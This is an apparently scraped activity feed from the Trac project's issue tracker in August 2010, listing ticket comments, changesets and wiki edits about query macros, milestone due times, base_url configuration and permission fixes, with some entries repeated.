binded to the ..."> Syntax Highlighting style selectbox should be binded to the ...">#9568</a></dt><dd>Preferences -> Syntax Highlighting style selectbox should be binded to the keydown event too</dd><dt><a class="closed" href="http://trac.edgewall.org/ticket/9542" title="">#9542</a></dt><dd>"Browse Source" button is not shown for anonymous users when AuthzSourcePolicy is used</dd><dt><a class="closed" href="http://trac.edgewall.org/ticket/8597" title="Modifications to Cc list can show 'removed' in comment even if no one was ...">#8597</a></dt><dd>Modifications to Cc list can show 'removed' in comment even if no one was removed</dd><dt><a class="closed" href="http://trac.edgewall.org/ticket/9548" title="Source browser: First character missing in hash for repo name">#9548</a></dt><dd>Source browser: First character missing in hash for repo name</dd></dl></div>
01:20 InsideTrac: Trac - Ticket #9588 (TicketQueryMacro should be able to filter fields by date range) updated by Ryan J Ollos <ryano@…>: Summary changed I've changed the ticket description so that this is not easily confused with a similar and common feature request, to be implemented in Reports (which can be done by writing a SQL query). I'd find a feature such as this useful since I have Recently Completed Tickets listed on <a class="wiki" href="http://trac.edgewall.org/wiki/WikiStart">WikiStart</a> of my Trac site, but the resulting list is not actually a list of the most recently completed tickets, but rather the most recently updated tickets that have status closed. This is the best I've been able to come up with given the existing TicketQuery Macro's functionality <pre class="wiki">[[TicketQuery(format=list, max=5, status=closed, resolution=fixed, desc=True, order=changetime)]] </pre> <div><dl class="wiki compact"><dt><a class="closed" href="http://trac.edgewall.org/ticket/9522" title="Comma-seperated cc list without proper blanks will make no query links ...">#9522</a></dt><dd>Comma-seperated cc list without proper blanks will make no query links available.</dd><dt><a class="closed" href="http://trac.edgewall.org/ticket/9582" title="'Due in' information is incorrect for milestones due today">#9582</a></dt><dd>'Due in' information is incorrect for milestones due today</dd><dt><a class="closed" href="http://trac.edgewall.org/ticket/8406" title="ExternalLinksFilterStrategy should allow Whitelisting">#8406</a></dt><dd>ExternalLinksFilterStrategy should allow Whitelisting</dd><dt><a class="closed" href="http://trac.edgewall.org/ticket/9568" title="Preferences -> Syntax Highlighting style selectbox should be binded to the ..."> Syntax Highlighting style selectbox should be binded to the ...">#9568</a></dt><dd>Preferences -> Syntax Highlighting style selectbox should be binded to the keydown event too</dd><dt><a class="closed" href="http://trac.edgewall.org/ticket/9108" title="missing id tags for input fields in admin_versions.html">#9108</a></dt><dd>missing id tags for input fields in admin_versions.html</dd></dl></div>
01:20 InsideTrac: Trac - Ticket #9588 (TicketQueryMacro should be able to filter fields by date range) updated by Ryan J Ollos <ryano@…>: Summary changed I've changed the ticket description so that this is not easily confused with a similar and common feature request, to be implemented in Reports (which can be done by writing a SQL query). I'd find a feature such as this useful since I have Recently Completed Tickets listed on <a class="wiki" href="http://trac.edgewall.org/wiki/WikiStart">WikiStart</a> of my Trac site, but the resulting list is not actually a list of the most recently completed tickets, but rather the most recently updated tickets that have status closed. This is the best I've been able to come up with given the existing TicketQuery Macro's functionality <pre class="wiki">[[TicketQuery(format=list, max=5, status=closed, resolution=fixed, desc=True, order=changetime)]] </pre> <div><dl class="wiki compact"><dt><a class="closed" href="http://trac.edgewall.org/ticket/9568" title="Preferences -> Syntax Highlighting style selectbox should be binded to the ..."> Syntax Highlighting style selectbox should be binded to the ...">#9568</a></dt><dd>Preferences -> Syntax Highlighting style selectbox should be binded to the keydown event too</dd><dt><a class="closed" href="http://trac.edgewall.org/ticket/9108" title="missing id tags for input fields in admin_versions.html">#9108</a></dt><dd>missing id tags for input fields in admin_versions.html</dd><dt><a class="closed" href="http://trac.edgewall.org/ticket/9210" title="Plugin admin PostgreSQLConnector">#9210</a></dt><dd>Plugin admin PostgreSQLConnector</dd><dt><a class="closed" href="http://trac.edgewall.org/ticket/9542" title="">#9542</a></dt><dd>"Browse Source" button is not shown for anonymous users when AuthzSourcePolicy is used</dd><dt><a class="closed" href="http://trac.edgewall.org/ticket/8597" title="Modifications to Cc list can show 'removed' in comment even if no one was ...">#8597</a></dt><dd>Modifications to Cc list can show 'removed' in comment even if no one was removed</dd></dl></div>
01:20 InsideTrac: Trac - Ticket #9588 (TicketQueryMacro should be able to filter fields by date range) updated by Ryan J Ollos <ryano@…>: Summary changed I've changed the ticket description so that this is not easily confused with a similar and common feature request, to be implemented in Reports (which can be done by writing a SQL query). I'd find a feature such as this useful since I have Recently Completed Tickets listed on <a class="wiki" href="http://trac.edgewall.org/wiki/WikiStart">WikiStart</a> of my Trac site, but the resulting list is not actually a list of the most recently completed tickets, but rather the most recently updated tickets that have status closed. This is the best I've been able to come up with given the existing TicketQuery Macro's functionality <pre class="wiki">[[TicketQuery(format=list, max=5, status=closed, resolution=fixed, desc=True, order=changetime)]] </pre> <div><dl class="wiki compact"><dt><a class="closed" href="http://trac.edgewall.org/ticket/9582" title="'Due in' information is incorrect for milestones due today">#9582</a></dt><dd>'Due in' information is incorrect for milestones due today</dd><dt><a class="closed" href="http://trac.edgewall.org/ticket/8406" title="ExternalLinksFilterStrategy should allow Whitelisting">#8406</a></dt><dd>ExternalLinksFilterStrategy should allow Whitelisting</dd><dt><a class="closed" href="http://trac.edgewall.org/ticket/9568" title="Preferences -> Syntax Highlighting style selectbox should be binded to the ..."> Syntax Highlighting style selectbox should be binded to the ...">#9568</a></dt><dd>Preferences -> Syntax Highlighting style selectbox should be binded to the keydown event too</dd><dt><a class="closed" href="http://trac.edgewall.org/ticket/9108" title="missing id tags for input fields in admin_versions.html">#9108</a></dt><dd>missing id tags for input fields in admin_versions.html</dd><dt><a class="closed" href="http://trac.edgewall.org/ticket/9210" title="Plugin admin PostgreSQLConnector">#9210</a></dt><dd>Plugin admin PostgreSQLConnector</dd></dl></div>

08/27/10:

16:49 InsideTrac: Trac - Ticket #9588 (TicketQueryMacro should be able to filter fields by date range) created by erne.castro@…: The idea come to me while thinking it would be nice to have queries like: <ul><li>Tickets close in the last week. </li><li>Tickets reopened in the last week. </li><li>Etc. </li></ul> I think this could be implemented if it would be possible to specify a field value and a give time frame when it was set. So, to get the "close in last week" one could query something like: <pre class="wiki">[[TicketQuery(format=table,order=priority,group=component,status=closed@-7d&component^=MyLittleComponent&version=1.23)]] </pre> Where @-7d would mean that the status has to be set to closed in the past 7 days. I do not know if this is a good idea, neither if the format is good... but I think it would be nice to have this built-in rather as a plugin.
16:49 InsideTrac: Trac - Ticket #9588 (To be able to filter fields by date range) created by erne.castro@…: The idea come to me while thinking it would be nice to have queries like: <ul><li>Tickets close in the last week. </li><li>Tickets reopened in the last week. </li><li>Etc. </li></ul> I think this could be implemented if it would be possible to specify a field value and a give time frame when it was set. So, to get the "close in last week" one could query something like: <pre class="wiki">[[TicketQuery(format=table,order=priority,group=component,status=closed@-7d&component^=MyLittleComponent&version=1.23)]] </pre> Where @-7d would mean that the status has to be set to closed in the past 7 days. I do not know if this is a good idea, neither if the format is good... but I think it would be nice to have this built-in rather as a plugin.
14:04 InsideTrac: Trac - Ticket #8914 (Enable macro and plugin developers to use REGEXP on all database backends) updated by dnedelchev <dbn@…>: The standard LIKE operator syntax is quite poor. Implementing REGEXP should be very welcome I think...
13:30 InsideTrac: Trac - Changeset [10019]: 0.13dev: Merged [10016:10018] from 0.12-stable. by rblank: 0.13dev: Merged <a class="source" href="http://trac.edgewall.org/log/?revs=10016-10018">[10016:10018]</a> from 0.12-stable.
13:29 InsideTrac: Trac - Ticket #9511 (trac.versioncontrol.admin component should be optional) updated by rblank: <a class="attachment" href="http://trac.edgewall.org/attachment/ticket/9511/9511-repository-dir-prefix-r10018.patch" title="Attachment '9511-repository-dir-prefix-r10018.patch' in Ticket #9511">9511-repository-dir-prefix-r10018.patch</a><a class="trac-rawlink" href="http://trac.edgewall.org/raw-attachment/ticket/9511/9511-repository-dir-prefix-r10018.patch" title="Download"></a> is one possible implementation to restrict the allowed repository directories: <ul><li>A new option <tt>[trac] repository_dir_prefixes</tt> containing a list of allowed prefixes. </li><li>New checks when adding and editing a repository, that only allow the operation if the repository is located below one of the given prefixes, and display a warning if not. </li></ul> Thoughts?
13:27 InsideTrac: Trac - 9511-repository-dir-prefix-r10018.patch attached to Ticket #9511 by rblank: Allow restricting the paths to repositories in the repository admin panel.
11:05 InsideTrac: Trac - TracTermsDe edited by info@…: Typo removed, some suggestions (<a href="http://trac.edgewall.org/wiki/TracTermsDe?action=diff&version=25">diff</a>)
10:55 InsideTrac: Trac - TracTermsDe edited by anonymous: (<a href="http://trac.edgewall.org/wiki/TracTermsDe?action=diff&version=24">diff</a>)
09:03 InsideTrac: Trac - Ticket #9210 (Plugin admin PostgreSQLConnector) closed by rblank: fixed: Replying to <a href="http://trac.edgewall.org/ticket/9210#comment:6" title="Comment 6 for Ticket #9210">cboos</a>: <blockquote class="citation"> One step, specific to the problem reported here, would be to have the expand/collapse buttons at the left (using the traditional triangle icons). </blockquote> Done in <a class="changeset" href="http://trac.edgewall.org/changeset/10018" title="0.12.1dev: Changed the folding markers in the plugin admin panel to use ...">[10018]</a>.
09:02 InsideTrac: Trac - Changeset [10018]: 0.12.1dev: Changed the folding markers in the plugin admin panel to use ... by rblank: 0.12.1dev: Changed the folding markers in the plugin admin panel to use the same triangles as everywhere else in Trac, therefore making them visible even if the width of the panel beecomes too large. Closes <a class="closed ticket" href="http://trac.edgewall.org/ticket/9210" title="defect: Plugin admin PostgreSQLConnector (closed: fixed)">#9210</a>.
06:46 InsideTrac: Trac - Ticket #9568 (Preferences -> Syntax Highlighting style selectbox should be binded to the ...) updated by rblank: Owner changed
06:46 InsideTrac: Trac - Ticket #9568 (Preferences -> Syntax Highlighting style selectbox should be binded to the ...) closed by rblank: fixed: Applied in <a class="changeset" href="http://trac.edgewall.org/changeset/10017" title="0.12.1dev: Also bind to the `keypress` event in the syntax highlighting ...">[10017]</a>, except that I bound to <tt>keypress</tt> instead of <tt>keydown</tt> so that key repetitions also work.
06:44 InsideTrac: Trac - Changeset [10017]: 0.12.1dev: Also bind to the `keypress` event in the syntax highlighting ... by rblank: 0.12.1dev: Also bind to the <tt>keypress</tt> event in the syntax highlighting selector, so that the keyboard can be used to browse the styles. Thanks to shesek for the patch. Closes <a class="closed ticket" href="http://trac.edgewall.org/ticket/9568" title="enhancement: Preferences -> Syntax Highlighting style selectbox should be binded to the ... (closed: fixed)"> Syntax Highlighting style selectbox should be binded to the ... (closed: fixed)">#9568</a>.
06:44 InsideTrac: Trac - Changeset [10017]: 0.12.1dev: Also bind to the `keypress` event in the syntax highlighting ... by rblank: 0.12.1dev: Also bind to the <tt>keypress</tt> event in the syntax highlighting selector, so that the keyboard can be used to browse the styles. Thanks to shesek for the patch. Closes <a class="new ticket" href="http://trac.edgewall.org/ticket/9568" title="enhancement: Preferences -> Syntax Highlighting style selectbox should be binded to the ... (new)"> Syntax Highlighting style selectbox should be binded to the ... (new)">#9568</a>.
06:29 InsideTrac: Trac - Ticket #9582 ('Due in' information is incorrect for milestones due today) updated by rblank: <a class="attachment" href="http://trac.edgewall.org/attachment/ticket/9582/9582-due-time-r10015.patch" title="Attachment '9582-due-time-r10015.patch' in Ticket #9582">9582-due-time-r10015.patch</a><a class="trac-rawlink" href="http://trac.edgewall.org/raw-attachment/ticket/9582/9582-due-time-r10015.patch" title="Download"></a> fixes the first three issues in <a href="http://trac.edgewall.org/ticket/9582#comment:15" title="Comment 15 for Ticket #9582">comment:15</a>. The additional <tt>hint</tt> argument to <tt>parse_date()</tt> can be: <ul><li><tt>'date'</tt> (the default): show the hint for dates </li><li><tt>'datetime'</tt>: show the hint for datetimes </li><li>Anything else: show that as the hint </li></ul> Please test and comment.
06:27 InsideTrac: Trac - 9582-due-time-r10015.patch attached to Ticket #9582 by rblank: Updated patch according to <a href="http://trac.edgewall.org/ticket/9582#comment:15" title="Comment 15 for Ticket #9582">comment:15</a>.
05:33 InsideTrac: Trac - Ticket #9582 ('Due in' information is incorrect for milestones due today) updated by rblank: A few comments: <ul><li>Adding the <tt><div></tt> around the due date field added a margin between the fieldset label and the field. This should probably be fixed in the CSS. </li><li>I would prefer keeping a single <tt>parse_date()</tt> instead of splitting into <tt>parse_date()</tt> and <tt>parse_datetime()</tt>. The only difference between the two is the wording in the errors, where I think keeping the term "date" even for datetime is better, and the hint. We could just add a new argument <tt>hint=None</tt> to <tt>parse_date()</tt>, that allows providing the format hint (with the default keeping the current behavior). I don't mind having <tt>parse_date()</tt> parsing a datetime correctly even if a date is expected, that's what it has been doing all along. </li><li>The "due" edit field still only displays the date. </li><li>Ok for doing the "default to 12:00" in <a class="new ticket" href="http://trac.edgewall.org/ticket/6369" title="enhancement: Allow milestones to be set to a specific time (new)">#6369</a>. No need for a <tt>trac.ini</tt> option for the default duetime, just use 12:00. </li><li>The checkbox is actually meant for <a class="new ticket" href="http://trac.edgewall.org/ticket/6369" title="enhancement: Allow milestones to be set to a specific time (new)">#6369</a>. If a milestone has no due time, the "Due" field should be populated with the current date, 12:00. However, just doing this will require the user removing the due time every time if she doesn't want to set one, which is not user friendly. So the suggestion is to do the same as for the "Completed" field, and have a checkbox to explicitly set or disable the due date. </li></ul> Updated patch coming shortly.
05:09 InsideTrac: Trac - Ticket #9581 (Documentation page for TracIni should list or have reference to allowed ...) updated by rblank: The <tt>default_timezone</tt> option is defined in <a class="source" href="http://trac.edgewall.org/browser/trunk/trac/web/main.py?rev=9708&marks=150-151#L127">RequestDispatcher</a><a class="trac-rawlink" href="http://trac.edgewall.org/export/9708/trunk/trac/web/main.py#L127" title="Download"></a>. You can get and set the value via this property, or go through <tt>self.config</tt> if it's easier. What do you mean with "doesn't seem to be behaving well"? Don't hesitate to post a patch (even incomplete). The place where you put the selector looks fine.
04:49 InsideTrac: Trac - Ticket #9583 (SpamFilter option to not filter attachments) updated by dstoecker: Although there may be use cases for this, I would rather think Trac-Hacks should update to a more recent Trac and Spamfilter plugin and set better defaults (i.e. use Akismet and HTTP:BL and improved scores, points for registered users and so on). Ignoring attachments may be a fatal decision, as I often get HTML attachments uploaded, which contain spam. Thought if you implement it, I will add it when reliable implemented.
02:59 InsideTrac: Trac - Ticket #9581 (Documentation page for TracIni should list or have reference to allowed ...) updated by Ryan J Ollos <ryano@…>: Is default_timezone a property of some object, like project_name can be accessed in self.env.project_name? I've spent some time looking at localtz in trac.utils.datefmt, and also calling self.config.get('trac', 'default_timezone') within render_admin_panel. It doesn't seem to be behaving well, so I thinking I'm doing this wrong. I added the select list to the Basic Settings panel at the following position: <a href="http://trac.edgewall.org/attachment/ticket/9581/BasicSettings.png"><img src="http://trac.edgewall.org/raw-attachment/ticket/9581/BasicSettings.png" /></a>
02:55 InsideTrac: Trac - BasicSettings.png attached to Ticket #9581 by Ryan J Ollos <ryano@…>

08/26/10:

21:22 InsideTrac: Trac - Ticket #9581 (Documentation page for TracIni should list or have reference to allowed ...) updated by Ryan Ollos <ryano@…>: Replying to <a href="http://trac.edgewall.org/ticket/9581#comment:1" title="Comment 1 for Ticket #9581">rblank</a>: <blockquote class="citation"> Except for the "GMT +xx:xx" zones, the names are defined in pytz, so we can't just list them in the documentation. We could list the GMT+offset zones, and provide a link to the pytz documentation. </blockquote> I searched around but couldn't find a list of names in the pytz documentation. There is described a way to <a class="ext-link" href="http://pytz.sourceforge.net/#helpers"> generate them</a>, which could be pointed to in the Trac docs, or perhaps there is some way to use this pytz function to generate output for the Trac docs. <blockquote class="citation"> Then again, an entry in the "Basic Settings" sounds nice, too, and we already have the necessary code in the user preferences, so it shouldn't be too difficult. </blockquote> I'll have a first cut at a patch for this ready by this evening.
21:14 InsideTrac: Trac - Ticket #1 (Add a new project summary module.) updated by Ryan Ollos <ryano@…>: Cc changed
19:09 InsideTrac: Trac - Ticket #9582 ('Due in' information is incorrect for milestones due today) updated by Ryan J Ollos <ryano@…>: Here is my first cut at a patch: <ul><li>Made the Due field to have the same format as the Completed field, with a datetime format. </li><li>Made these changes to both the Milestone Edit and Admin Milestones Panel. </li><li>Changed the Roadmap and Mitlestone View pages to show datetime format rather than date format. </li><li>Added a parse_datetime function to trac.util which throws an error as described in <a href="http://trac.edgewall.org/ticket/9582#comment:13" title="Comment 13 for Ticket #9582">comment:13</a>. I'm expecting this part of my patch will need some work. <ul><li>Both parse_date and parse_datetime call _parse_datetime, which contains most of what was previously the body of parse_date. However, parse_date and parse_datetime differ in the hint that is displayed when an error is thrown. </li><li>Another way to approach this might be to modify the existing parse_date function with a third argument that says we are expecting a datetime format. However, we have format_date and format_datetime functions in trac.chrome, so perhaps it makes sense to have a pair of parse functions as well. </li></ul></li><li>The validation of the Completed field is now done by parse_datetime (<a href="http://trac.edgewall.org/ticket/9582#comment:13" title="Comment 13 for Ticket #9582">comment:13</a>). </li></ul> What I have not yet attempted to implement: <ul><li>Default duetime of 12:00, which seems to be the topic of much discussion in <a class="new ticket" href="http://trac.edgewall.org/ticket/6369" title="enhancement: Allow milestones to be set to a specific time (new)">#6369</a>. <ul><li>Do we want to do that in <a class="new ticket" href="http://trac.edgewall.org/ticket/6369" title="enhancement: Allow milestones to be set to a specific time (new)">#6369</a> since the changes implemented in this ticket preserve existing behavior if the user chooses to not enter a time, but changing the default duetime from 00:00 to 12:00 changes the existing behavior? </li><li>If implemented, do we want a trac.ini parameter to allow specifying a default duetime that applies when only a date in entered? </li></ul></li><li>I'm not sure what you had in mind for the behavior of Add a checkbox to enable or disable the due date. </li></ul>
18:52 InsideTrac: Trac - Ticket #6369 (Allow milestones to be set to a specific time) updated by Ryan J Ollos <ryano@…>: See also <a class="new ticket" href="http://trac.edgewall.org/ticket/9582" title="defect: 'Due in' information is incorrect for milestones due today (new)">#9582</a>.
18:52 InsideTrac: Trac - datetime_milestones.r10016.patch attached to Ticket #9582 by Ryan J Ollos <ryano@…>
18:01 InsideTrac: Trac - Ticket #9582 ('Due in' information is incorrect for milestones due today) updated by Ryan J Ollos <ryano@…>: Something else I've noticed in the course of working on this ticket, is that the hint is not technically correct when setting a milestone to complete with an incorrect timestamp. The format of the datetime or timestamp is MM/DD/YYYY hh:mm:ss PM. If I try to enter 08/26/2010 13:51:31 PM, I get the following error: <a href="http://trac.edgewall.org/attachment/ticket/9582/MilestoneError.png"><img width="100%" src="http://trac.edgewall.org/raw-attachment/ticket/9582/MilestoneError.png" /></a> I'll try to resolve this issue as well in this ticket. It seems like the error message should read something like: <h2 id="Error:InvalidDateTime">Error: Invalid DateTime</h2> <div class="system-message"> "08/26/2010 13:51:31 PM" is an invalid datetime, or the datetime format is not known. Try "MM/DD/YYYY hh:mm:ss PM" instead." </div> Is there a better term to use than datetime? Perhaps timestamp?
17:54 InsideTrac: Trac - MilestoneError.png attached to Ticket #9582 by Ryan J Ollos <ryano@…>
16:54 InsideTrac: Trac - Ticket #9222 ("full delete" of wiki page could be a non-fatal operation) updated by anonymous: Keywords changed I thought it would be useful to have the patch attached to this ticket. I've also addded the patch keyword since there seems to be some kind of convention for doing that.
16:51 InsideTrac: Trac - trashable_meta_wiki.diff attached to Ticket #9222 by benjamin.a.lau@…: Adam Piper's trashable_meta_wiki patch
15:27 InsideTrac: Trac - MySqlDb edited by Roy Tate: Added info about Py2.6 and Windows, Changed apostrophe (<a href="http://trac.edgewall.org/wiki/MySqlDb?action=diff&version=55">diff</a>)
14:59 InsideTrac: Trac - Ticket #9222 ("full delete" of wiki page could be a non-fatal operation) updated by Ryan J Ollos <ryano@…>: Cc changed
14:35 InsideTrac: Trac - Ticket #9222 ("full delete" of wiki page could be a non-fatal operation) updated by adam.piper@…: I've create a patch to address the content of that thread. The patch now requires the following query to be executed against an existing database: ALTER TABLE wiki ADD COLUMN deleted datetime NULL; It will then never allow a full deletion of a wiki page. I appreciate that full deletion might be required in some cases such as spam cleanup, and based upon feedback from this issue thread I'll try to decide how to take this forwards. Do you have any suggestions? I have cross-posted this on <a class="ext-link" href="http://groups.google.com/group/trac-dev/browse_thread/thread/c7bca62f8eda29b7/f415d447af0a1c18"> http://groups.google.com/group/trac-dev/browse_thread/thread/c7bca62f8eda29b7/f415d447af0a1c18</a> -- the patch is attached to my 3rd mail. Best regards, Adam Piper
11:15 InsideTrac: Trac - TracOnWindowsIisAjp edited by Roy Tate: minor grammar and spelling (<a href="http://trac.edgewall.org/wiki/TracOnWindowsIisAjp?action=diff&version=30">diff</a>)
09:25 InsideTrac: Trac - Ticket #9587 (project description) updated by rblank: And where did you see the project and description in 0.11?
08:28 InsideTrac: Trac - Ticket #9243 (start milstone: TypeError: a float is required) updated by anonymous: Just need to modify table 'Milestone' : ALTER TABLE <tt>milestone</tt> CHANGE <tt>due</tt> <tt>due</tt> BIGINT( 20 ) NULL DEFAULT NULL; ALTER TABLE <tt>milestone</tt> CHANGE <tt>completed</tt> <tt>completed</tt> BIGINT( 20 ) NULL DEFAULT NULL; /!\ Pay attention here to set the default value of started to something other than NULL ! ALTER TABLE <tt>milestone</tt> CHANGE <tt>started</tt> <tt>started</tt> BIGINT( 20 ) NULL DEFAULT 0; Then it works for me. Hope it will help.
07:51 InsideTrac: Trac - SeaChange/WhatUsersWant edited by anonymous: added my votes (<a href="http://trac.edgewall.org/wiki/SeaChange/WhatUsersWant?action=diff&version=141">diff</a>)
05:13 InsideTrac: Trac - Ticket #9587 (project description) updated by anonymous: i pout description in \Trac\my project\conf\trac.ini [project] admin = admin_trac_url = . descr = Trac and SVN server administration issue tracking but in web interface i cannot see it http: myweb.cz\my project In previous version 0.11 i see project and description In 0.12 only project
05:13 InsideTrac: Trac - Ticket #9587 (project description) updated by anonymous: i pout description in \Trac\my project\conf\trac.ini <pre class="wiki">[project] admin = admin_trac_url = . descr = Trac and SVN server administration issue tracking </pre> but in web interface i cannot see it http: myweb.cz\my project In previous version 0.11 i see project and description In 0.12 only project
04:42 InsideTrac: Trac - sample_mail.py attached to Ticket #8139 by goud2020@…
03:37 InsideTrac: Trac - TracGuide edited by anonymous: (<a href="http://trac.edgewall.org/wiki/TracGuide?action=diff&version=62">diff</a>)
03:36 InsideTrac: Trac - TracGuide edited by anonymous: (<a href="http://trac.edgewall.org/wiki/TracGuide?action=diff&version=61">diff</a>)

08/25/10:

20:59 InsideTrac: Trac - Ticket #886 (Add support for Master tickets) updated by Dave Morgan <morgand@…>: In reply to Ingmar.... Master tickets should be able to be children of other master tickets. That way you can "ticket" a release - yet also break your tasks into sub-projects that can then each have their own children (and so on)... This then also begs the question - what is the difference between a Milestone & a 1st level (ie top level) Master ticket (ie a ticket that has no parent).
17:43 InsideTrac: Trac - Ticket #4431 (wiki_to_wikidom) updated by anonymous: fgdgd gfdgdf gfdgdfg gfg
16:12 InsideTrac: Trac - Changeset [10016]: 0.13dev: Merged [10012:10015] from 0.12-stable. by rblank: 0.13dev: Merged <a class="source" href="http://trac.edgewall.org/log/?revs=10012-10015">[10012:10015]</a> from 0.12-stable.
16:02 InsideTrac: Trac - Changeset [10015]: 0.12.1dev: Merged translation updates [9950,9951,9966,9983,9988,9995] back ... by rblank: 0.12.1dev: Merged translation updates <a class="source" href="http://trac.edgewall.org/log/?revs=9950-9951%2C9966%2C9983%2C9988%2C9995">[9950,9951,9966,9983,9988,9995]</a> back from trunk.
15:45 InsideTrac: Trac - Ticket #9542 ("Browse Source" button is not shown for anonymous users when ...) closed by rblank: fixed: Patch applied in <a class="changeset" href="http://trac.edgewall.org/changeset/10014" title="0.12.1dev: Show the ">[10014]</a>.
15:44 InsideTrac: Trac - Changeset [10014]: 0.12.1dev: Show the "Browse Source" tab if at least one repository is ... by rblank: 0.12.1dev: Show the "Browse Source" tab if at least one repository is defined, and the user has coarse <tt>BROWSER_VIEW</tt> permission. Closes <a class="closed ticket" href="http://trac.edgewall.org/ticket/9542" title="defect: ">#9542</a>.
13:34 InsideTrac: Trac - Ticket #9587 (project description) updated by rblank: Keywords changed Could you try to be more specific? <ul><li>In which option of <tt>trac.ini</tt> did you enter your description? </li><li>Where did you previously see the description, and what do you see there now? </li></ul>
10:11 InsideTrac: Trac - Ticket #9587 (project description) created by david.prazan@…: when i upgrade to 0.12 version i put to trac ini project description. In previous version i saw description right now no
09:19 InsideTrac: Trac - Ticket #9565 (UnicodeEncodeError: 'ascii' codec can't encode character u'\xf8' in ...) updated by anonymous: 777
08:15 InsideTrac: Trac - TracIni – The Trac Project.mht attached to TracIni by anonymous: 777
04:03 InsideTrac: Trac - Ticket #9542 ("Browse Source" button is not shown for anonymous users when ...) updated by HeX <edgewall.p3u@…>: OK my bad (of course ;). I applied the patch with one indentation space too many. Therefore <tt>browser.py</tt> was not loaded at all. So I can confirm the patch works as you said and once applied would fix this ticket. <blockquote class="citation"> And you shouldn't assign any of these permissions to anonymous globally. </blockquote> Yeah I got confused by <a href="http://trac.edgewall.org/ticket/9542#comment:17" title="Comment 17 for Ticket #9542">comment:17</a> , second bullet point which of course is only meant for setups without finedgrained access control. I'm happy that this seems to be finally resolved (once applied). Thanks, Hex.
03:36 InsideTrac: Trac - Ticket #9542 ("Browse Source" button is not shown for anonymous users when ...) updated by rblank: Replying to <a href="http://trac.edgewall.org/ticket/9542#comment:20" title="Comment 20 for Ticket #9542">HeX <edgewall.p3u@…></a>: <blockquote class="citation"> Sorry but the patch will actually remove <tt>BROWSER_VIEW</tt>, <tt>CHANGESET_VIEW</tt>, and <tt>LOG_VIEW</tt> from the list of available permission options. Hence non of those can be assigned to anonymous any longer. </blockquote> This must be unrelated. The patch only changes the condition under which the "Browse Source" tab is displayed. And you shouldn't assign any of these permissions to anonymous globally. If anonymous has at least one entry in the authz file, they will be given automatically.
03:10 InsideTrac: Trac - Ticket #7573 (base_url for many projects is painful) updated by osimons: <a class="closed ticket" href="http://trac.edgewall.org/ticket/9586" title="enhancement: base_url with multiple environments (tracd) (closed: duplicate)">#9586</a> closed as duplicate.
03:03 InsideTrac: Trac - Ticket #7573 (base_url for many projects is painful) updated by Olivier Mehani <shtrom-trac@…>: Cc changed
02:54 InsideTrac: Trac - Ticket #9542 ("Browse Source" button is not shown for anonymous users when ...) updated by HeX <edgewall.p3u@…>: Sorry but the patch will actually remove <tt>BROWSER_VIEW</tt>, <tt>CHANGESET_VIEW</tt>, and <tt>LOG_VIEW</tt> from the list of available permission options. Hence non of those can be assigned to anonymous any longer.
02:31 InsideTrac: Trac - Ticket #9586 (base_url with multiple environments (tracd)) closed by Olivier Mehani <shtrom-trac@…>: duplicate: Indeed, it is a Duplicate of <a class="new ticket" href="http://trac.edgewall.org/ticket/7573" title="enhancement: base_url for many projects is painful (new)">#7573</a>. It didn't come up in my searches. Thanks for the pointer !
01:47 InsideTrac: Trac - Ticket #9586 (base_url with multiple environments (tracd)) updated by rblank: Duplicate of <a class="new ticket" href="http://trac.edgewall.org/ticket/7573" title="enhancement: base_url for many projects is painful (new)">#7573</a>?

08/24/10:

23:11 InsideTrac: Trac - Ticket #9586 (base_url with multiple environments (tracd)) updated by Olivier Mehani <shtrom-trac@…>: Thinking a bit more about this issue, maybe changing the way <tt>base_url</tt> is interpreted is not a correct approach. One could imagine a scenario where two Trac environments served by the same <tt>tracd</tt> are proxyed from two completely different URLS (say <tt>http://www.site1.tld</tt> and <tt>http://www.site2.tld/code</tt>). Having a functionality modifying the <tt>base_url</tt> would mess everything up in that case (e.g. <tt>http://www.site2.tld/code/site2project</tt> isn't desired). Maybe the best approach, then, is to add a new configuration directive <tt>trac_base_url</tt> which can be inherited, and do something like the following Python-like pseudocode. <pre class="wiki">if base_url is not None: project_base_url = base_url elif trac_base_url is not None: if multi_environment: project_base_url = trac_base_url + project_name else: project_base_url = trac_base_url else: project_base_url = HTTP_HOST + path </pre>
22:14 InsideTrac: Trac - Ticket #9586 (base_url with multiple environments (tracd)) updated by Olivier Mehani <shtrom-trac@…>: Type changed
22:14 InsideTrac: Trac - Ticket #9586 (base_url with multiple environments (tracd)) created by Olivier Mehani <shtrom-trac@…>: Context: I'm using Trac 11.6 from OpenBSD's ports. <tt>tracd</tt> manages several environments using the <tt>-e</tt> flag. Trac runs behind an Apache proxy which redirects every request to /svn to Trac. For consistency and to simplify proxying rules, Trac serves the content from an identical base path (<tt>--base-path</tt>) of /svn. All the environments inherit from a global trac.ini which contains the following: <pre class="wiki">[trac] base_url = http://scm.domain.tld/svn/ use_base_url_for_redirect = True </pre> While this may work for single-projects, when serving multiple environments, all of them inherit the same <tt>base_url</tt>. They then create URLs respective to the Trac root rather than there own. For example, <tt>project1</tt> will reference <tt>http://scm.domain.tld/svn/log?rev=1</tt>, which doesn't exist, rather than <tt>http://scm.domain.tld/svn/project1/log?rev=1</tt>. Thus, I think it would be better to consider the <tt>base_url</tt> to be the base URL from where Trac is accessible. Depending on the configuration, additional path components may be added to it: <ul><li>In single project configurations, the <tt>base_url</tt> can be used directly as it does reference the root of the project as well as that of Trac. </li><li>In multiple environment configuration, the path to the project should be added to the main <tt>base_url</tt> to actually build the project's base URL <tt>http://scm.domain.tld/svn/project1/</tt> (rather that Trac's <tt>http://scm.domain.tld/svn/</tt>). </li></ul> This would allow for a more scalable configuration management where the server's <tt>base_url</tt> is configured only once and each environment derives its own path from there. Also, I noticed that when <tt>use_base_url_for_redirect="False"</tt>, full URLS (e.g. in the RSS) still use 127.0.0.1, where I understood from the documentation that setting <tt>base_url</tt> was sufficient to have them replaced, and <tt>use_base_url_for_redirect</tt> was only necessary with redirect issues, but not document rewriting. Did I misunderstand? Should <tt>use_base_url_for_redirect</tt> be set for document rewriting to work at all?
17:58 InsideTrac: Trac - Ticket #9584 (Binary files fail to download over SSL using Internet Explorer (IE)) updated by Benjamin Grabkowitz <bgrabkowitz@…>: A possible solution might to remove Pragma: no-cache Cache-control: no-cache And replace with: Cache-control: no-store For ssl requests.
